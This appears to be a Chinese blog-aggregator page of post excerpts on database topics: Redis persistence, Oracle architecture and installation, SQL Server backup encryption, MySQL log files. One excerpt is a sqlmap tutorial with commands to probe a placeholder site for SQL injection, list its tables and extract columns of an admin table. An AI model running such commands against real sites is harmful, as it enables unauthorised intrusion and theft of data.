数据库文件

redis

时光毁灭记忆、已成空白 提交于 2020-01-08 12:38:44
什么是Redis Redis是一种非关系型数据库,它将数存储在内存中,大大的提高了数据的查询效率。Redis是单线程请求,所有的操作都是串行执行的,并发情况下不需要考虑数据一致性问题。 redis是一个key-Value结构的数据存储系统个,value支持五种数据类型 String Hash List Set SortedSet Redis的数据持久化方式 1 RDB方式 将内存中当前的数据库状态保存到磁盘里面。RDB文件是一个经过压缩的二进制文件,通过该文件可以还原生成该RDB文件是的数据库状态。RDB持久化方式效率很快,但是会有数据丢失的可能。 RDB文件生成的方式: 1.执行命令手动生成 SAVE 会阻塞Redis服务器进程,保存完成之前,redis服务器不能进行任何其他操作。 BGSAVE 会创建一个子进程,由子进程负责生成RDB文件。 2.通过配置自动生成 可以设置服务器的save选项,让服务器每个一段时间自动执行一次BGSAVE命令。可以设置多个保存的条件,满足任何 一个条件的时候就行至此那个保存。 2 AOF方式 将数据库的谢明令保存到文件中。AOF持久化方式在redis中默认是关闭的,需要修改配置文件开启。 AOF文件刷新的三种方式: 1.appendfsync always - 每提交一个修改命令都调用 fsync 刷新到 AOF 文件,非常非常慢,但也非常安全

sqlmap注入使用方法

余生长醉 提交于 2020-01-08 09:45:33
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 1.SQLMAP用于Access数据库注入 (1)猜解是否能注入 win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" Linux : ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" (2)猜解表 win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables (3)根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表) win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin Linux: ./sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin (4)根据字段猜解内容

Oracle数据库的体系结构和用户管理

。_饼干妹妹 提交于 2020-01-08 07:44:38
一、Oracle体系结构 数据库的体系结构是指数据库的组成、工作过程、以及数据库中数据的组织与管理机制,要了解Oracle数据库的体系结构,必须理解Oracle系统的主要组件和重要概念。 1、Oracle体系结构概述 Oracle体系结构包含一系列组件,如下图所示,图中显示了Oracle体系结构中的主要组件,包括实例、用户进程、服务器进程、数据文件及其他文件,如参数文件、口令文件和归档日志文件等。从图中可以看出,实例和数据库是Oracle数据库体系结构的核心组成部分,也是最重要的两个概念;DBA一个很重要的工作就是维护实例和数据库本身的正常工作。 1)实例 Oracle实例是后台进程和内存结构的集合,必须启动实例才能访问数据库中的数据。Oracle实例启动时,将分配一个系统全局区(SGA)并启动一系列Oracle后台进程。Oracle实例有两种类型:单进程实例和多进程实例,单进程Oracle实例使用一个进程执行Oracle的全部操作,在单进程环境下的Oracle实例仅允许一个用户可存取;多进程Oracle实例(又称多用户Oracle)使用多个进程来执行Oracle的不同部分,对于每个连接的用户都有一个进程。 2)数据库 数据库是数据的集合,物理上指存储数据库信息的一组操作系统文件,每个数据库有一个逻辑结构和物理结构。物理结构是指构成数据库的一组操作系统文件,主要由三种类型文件组成

Linux配置安装

*爱你&永不变心* 提交于 2020-01-07 23:56:45
1. 安装 jdk 1.1 卸载 : 使用 java version 查看虚拟机是否有 jdk 环境 , 存在先卸载 : 1. 首先我的系统是 CenOS7, 安装完成后 , 先打开终端 , 切换到管理员账号 , 命令如下图 2. 找出带 java 关键字的安装包 , 命令是 :rpm -qa|grep java, 会出现如下结果 : 3. 运行如下命令进行卸载 , 命令是 : yum -y remove java* 1.2 安装 上传到 ftp, 然后解压安装 tar -zxvf jdk-8u221-linux-x64.tar ( jdk 包名) 配置环境变量 , 打开 vi /etc/profile 在文件结尾添加 注意是使用“ : ”分隔 export JAVA_HOME=/home/ddqy/tools/jdk1.8 export JRE_HOME=$JAVA_HOME/jre export PATH=$PATH:$JAVA_HOME/bin export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar 让文件生效 source /etc/profile 目录以及子目录授予 root 权限 chown root:root -R /home/tina/tools/jdk1.8 查看 jdk 是否安装成功

【msql】关于redo 和 undo log

不打扰是莪最后的温柔 提交于 2020-01-07 20:14:29
InnoDB 有两块非常重要的日志,一个是undo log,另外一个是redo log,前者用来保证事务的原子性以及InnoDB的MVCC,后者用来保证事务的持久性。和大多数关系型数据库一样,InnoDB记录了对数据文件的物理更改,并保证总是日志先行,也就是所谓的WAL(Write Ahead Log),即在持久化数据文件前,保证之前的redo日志已经写到磁盘 一、概念 1、Innodb Crash Recovery 这是InnoDB引擎的一个特点,当故障发生,重新启服务后,会自动完成恢复操作,将数据库恢复到之前一个正常状态(不需要重做所有的日志,只需要执行上次刷入点之后的日志,这个点就叫做Checkpoint)恢复过程有两步 第一步:检查redo日志,将之前完成并提交的事务全部重做; 第二步:将undo日志中,未完成提交的事务,全部取消 2、LSN LSN(log sequence number) 用于记录日志序号,它是一个不断递增的 unsigned long long 类型整数。 在 InnoDB 的日志系统中,LSN 无处不在,它既用于表示修改脏页时的日志序号,也用于记录checkpoint,通过LSN,可以具体的定位到其在redo log文件中的位置。 LSN 用字节偏移量来表示。每个page有LSN,redo log也有LSN,Checkpoint也有LSN

oracle数据库连接非常慢,sqlplus很快,用客户端就很慢,十几秒才好

倾然丶 夕夏残阳落幕 提交于 2020-01-07 14:11:35
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> oracle数据库连接非常慢,sqlplus很快,用客户端就很慢,十几秒才好。然后服务器内存一下就飙升到了90%,最开始以为是表空间占满了,数据库连接数占满了。折腾了半天,重启,还是很慢。应用连接数据库,都启动不了。发现了问题! 在客户端连接服务器的时候,点击“登录”,需要10秒多钟才可以连接到数据库,连接后操作一切正常。 在客户端用tnsping服务器,如下: C:\Documents and Settings\Administrator>tnsping ORA11G 很长时间没有反应 原因在于:!!!! 这个文件 listener.log 过大导致oracle像是假死了。listener.org路径:$ORACLE_HOME\diag\tnslsnr\机器名\listener\trace 删除掉重建一个同名文件就好。 然后tnsping ORA11G.很快就OK了。 来源: oschina 链接: https://my.oschina.net/u/204616/blog/599363

CentOS 7部署Oracle 12c企业版数据库

自闭症网瘾萝莉.ら 提交于 2020-01-07 13:52:15
一、安装Oracle 12c 1、安装CentOS 7操作系统的注意事项 由于本次安装Oracle 12c软件是在CentOS 7系统上实现的,那么首先安装CentOS 7操作系统,安装要求如下: 防火墙的配置选项设置为禁用; SELinux设置为禁用; 默认安装设置为软件开发; 内核选择3.10.0-862.el7.x86_64及以上版本; 2、前置条件的准备 Oracle数据库是一个相对庞大的应用软件,对服务器的系统类型、内存和交换分区、硬盘空阿金、内核参数、软件环境、用户环境等都有相应的要求。只要满足了这些必备的条件,才能确保Oracle 12c安装成功、稳定运行。 1)系统及配置要求 Oracle 12c明确支持的Linux操作系统包括Oracle Linux 7、Oracle Linux 6、Oracle Linux 5、Red Hat Enterprise Linux 7、Red Hat Enterprise Linux 6、Red Hat Enterprise Linux 5等,因为Red Hat Enterprise 和CentOS属于同步并行的操作系统,所以Oracle 12 c同样支持CentOS 7、CentOS 6、CentOS 5操作系统。在其他Linux系统中安装时,个别软件或配置文件可能需要进行适当的调整。通过以下命令查看系统版本: [root

(5.3.7)数据库迁移——sql server备份文件的加密解密

久未见 提交于 2020-01-07 12:41:28
嗯,最近在研究数据库备份相关的东西,考虑到应该为数据库备份加个密,就准备从网上搜索一下看看有什么好办法,没想到还挺乱。。。 首先,我从网上搜到的,对数据库备份加密的方法,主要有三种: 【1】使用With Password(2008以下(含)) 在使用 BACKUP 语句时,添加 PASSWORD 参数【此方法适用于 sql server 2012 以前的版本(不包含 2012)】 不过呢,其实这个 PASSWORD 参数的加密,并不是我们想象中的对数据完整的加密。 案例: --备份 Backup Database [数据库] To disk='c:\mssql'+ replace(replace(replace(replace(CONVERT(varchar, getdate(), 121),'-',''),' ',''),':',''),'.','') +'.bak' With Password = '123',init; --还原 Restore Database [数据库] From disk=数据库备份文件地址 With Password = '123'; 根据 MSDN 中的介绍: https://msdn.microsoft.com/zh-cn/library/ms186865(v=sql.100).aspx 貌似此密码仅仅是给备份附加了一个密码,并没有对备份数据加密

Redis 中的数据持久化策略(RDB)

删除回忆录丶 提交于 2020-01-07 08:52:35
Redis 是一个内存数据库,所有的数据都直接保存在内存中,那么,一旦 Redis 进程异常退出,或服务器本身异常宕机,我们存储在 Redis 中的数据就凭空消失,再也找不到了。 Redis 作为一个优秀的数据中间件,必定是拥有自己的持久化数据备份机制的,redis 中主要有两种持久化策略,用于将存储在内存中的数据备份到磁盘上,并且在服务器重启时进行备份文件重载。 RDB 和 AOF 是 Redis 内部的两种数据持久化策略,这是两种不同的持久化策略,一种是基于内存快照,一种是基于操作日志,那么本篇就先来讲讲 RDB 这种基于内存快照的持久化策略。 一、什么是 RDB 持久化策略 RDB(redis database),快照持久化策略。RDB 是 redis 默认的持久化策略,你可以打开 redis.conf,默认会看到这三条配置。 save 900 1 900秒内执行一次set操作 则持久化1次 save 300 10 300秒内执行10次set操作,则持久化1次 save 60 10000 60秒内执行10000次set操作,则持久化1次 RDB 又分为两种,一种是同步的,调用 save 命令即可触发 redis 进行 RDB 文件生成备份,但是这是一个同步命令,在备份完成之前,redis 服务器不响应客户端任何请求。另一种是异步的,调用 bgsave 命令,redis 服务器

mysql 日志文件(转于我的同学和大家共同分享)

穿精又带淫゛_ 提交于 2020-01-07 08:17:34
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 由于最近碰到一个日志清理的问题,所以就花时间写了这篇文章,严格来说只是学习笔记。 1.通用日志文件 默认安装情况下不开启,即不会生成这个文件,需要手工开启,可直接在命令行中设置:set global general_log = ON。即时生效。重启MySQL服务后,会关闭,需重新启动。 也可在配置文件my.ini中设置:general_log=on。这样每次启动MySQL服务都会自动启动。 这样MySQL就会在data目录下创建一个和你计算机同名的日志文件:计算机名-PC.log。 以后你对MySQL做的任何操作,都会被记录到这个日志文件中。 2.二进制日志文件 默认安装情况下不开启,即不会生成这个文件,需要手工开启,在配置文件my.ini中的[mysqld]后面加入:log_bin=binary_log。这里的binary_log为二进制文件名。 这样MySQL就会在data目录下创建如下两个文件:binary_log.000001和binary_log.index。 以后对MySQL表做的任何更新,都会被记录里到这个日志文件中。 当在data目录下手工删除了某些二进制日志文件时,一定要同时删除binary_log.index里面的对应记录,否则mysql服务将无法启动。 可在命令行中通过 show